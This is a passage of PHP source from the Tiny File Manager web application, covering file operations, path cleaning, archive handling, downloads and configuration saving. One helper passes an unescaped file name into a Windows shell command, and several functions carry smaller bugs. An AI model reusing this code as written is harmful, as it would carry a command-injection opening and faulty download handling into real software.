btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li> <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li> <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')"> <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')"> <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')"> <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy"> <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li> </ul> </div> <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div> <?php else: ?> <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div> <?php endif; ?> </div> </form> <?php fm_show_footer(); //--- END // Functions /** * Check if the filename is allowed. * @param string $filename * @return bool */ function fm_is_file_allowed($filename) { // By default, no file is allowed $allowed = false; if (FM_EXTENSION) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (in_array($ext, explode(',', strtolower(FM_EXTENSION)))) { $allowed = true; } } return $allowed; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!$isFileAllowed) return false; return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = $size > 0 ? floor(log($size, 1024)) : 0; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get director total size * @param string $directory * @return int */ function fm_get_directorysize($directory) { global $calc_folder; if ($calc_folder==true) { // Slower output $size = 0; $count= 0; $dirCount= 0; foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file) if ($file->isFile()) { $size+=$file->getSize(); $count++; } else if ($file->isDir()) { $dirCount++; } // return [$size, $count, $dirCount]; return $size; } else return 'Folder'; // Quick output } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = zip_read($arch)) { $zip_name = zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'zip': case 'rar': case 'gz': case 'tar': case '7z': case 'xz': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return json */ function scan($dir, $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($dir) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /* Parameters: downloadFile(File Location, File Name, max speed, is streaming If streaming - videos will show as videos, images as images instead of download prompt https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); header("Cache-Control: public"); header("Content-Transfer-Encoding: binary\n"); header('Content-Type: $contentType'); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; $size = filesize($fileLocation); if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } if ($size == 0) { die('Zero byte file! Aborting download'); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); fseek($fp, $range); while (!feof($fp) and (connection_status() == 0)) { set_time_limit(0); print(@fread($fp, 1024*$chunkSize)); flush(); ob_flush(); // sleep(1); } fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager<br>Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '<br>'; $msg .= '<br>Seems like you have a trailing slash on the URL.'; $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>'; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10); if (is_writable($fm_file)) { $lines = file($fm_file); if ($fh = @fopen($fm_file, "w")) { @fputs($fh, $config_string, strlen($config_string)); for ($x = 3; $x < count($lines); $x++) { @fputs($fh, $lines[$x], strlen($lines[$x])); } @fclose($fh); } } } } //--- templates functions /** * Show nav block * @param string $path */ function fm_show_nav_path($path) { global $lang, $sticky_navbar; $isStickyNavBar = $sticky_navbar ? 'fixed-top' : ''; $getTheme = fm_get_theme(); $getTheme .= " navbar-light"; if(FM_THEME == "dark") { $getTheme .= " navbar-dark"; } else { $getTheme .= " bg-white"; } ?> <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>"> <a class="navbar-brand" href=""> <?php echo lng('AppTitle') ?> </a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <?php $path = fm_clean_path($path); $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>"; $sep = '<i class="bread-crumb"> / </i>'; if ($path != '') { $exploded = explode('/', $path); $count = count($exploded); $array = array(); $parent = ''; for ($i = 0; $i < $count; $i++) { $parent = trim($parent . '/' . $exploded[$i], '/'); $parent_enc = urlencode($parent); $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>"; } $root_url .= $sep . implode($sep, $array); } echo '<div class="col-xs-6 col-sm-5">' . $root_url . '</div>'; ?> <div class="col-xs-6 col-sm-7 text-right"> <ul class="navbar-nav mr-auto float-right <?php echo fm_get_theme(); ?>"> <li class="nav-item mr-2"> <div class="input-group input-group-sm mr-1" style="margin-top:4px;"> <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon"> <div class="input-group-append"> <span class="input-group-text" id="search-addon2"><i class="fa fa-search"></i></span> </div> <div class="input-group-append btn-group"> <span class="input-group-text dropdown-toggle" id="search-addon2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span> <div class="dropdown-menu dropdown-menu-right"> <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-toggle="modal" data-target="#searchModal"><?php echo lng('Advanced Search') ?></a> </div> </div> </div> </li> <?php if (!FM_READONLY): ?> <li class="nav-item"> <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a> </li> <li class="nav-item"> <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-toggle="modal" data-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a> </li> <?php endif; ?> <?php if (FM_USE_AUTH): ?> <li class="nav-item avatar dropdown"> <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID]['logged'])) { echo $_SESSION[FM_SESSION_ID]['logged']; } ?></a> <div class="dropdown-menu dropdown-menu-right <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5"> <?php if (!FM_READONLY): ?> <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a> <?php endif ?> <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a> <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a> </div> </li> <?php else: ?> <?php if (!FM_READONLY): ?> <li class="nav-item"> <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a> </li> <?php endif; ?> <?php endif; ?> </ul> </div> </div> </nav> <?php } /** * Show message from session */ function fm_show_message() { if (isset($_SESSION[FM_SESSION_ID]['message'])) { $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok'; echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>'; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager"> <meta name="author" content="CCP Programmers"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex"> <?php if($favicon_path) { echo '<link rel="icon" href="'.fm_enc($favicon_path).'" type="image/png">'; } ?> <title><?php echo fm_enc(APP_TITLE) ?></title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <style> body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 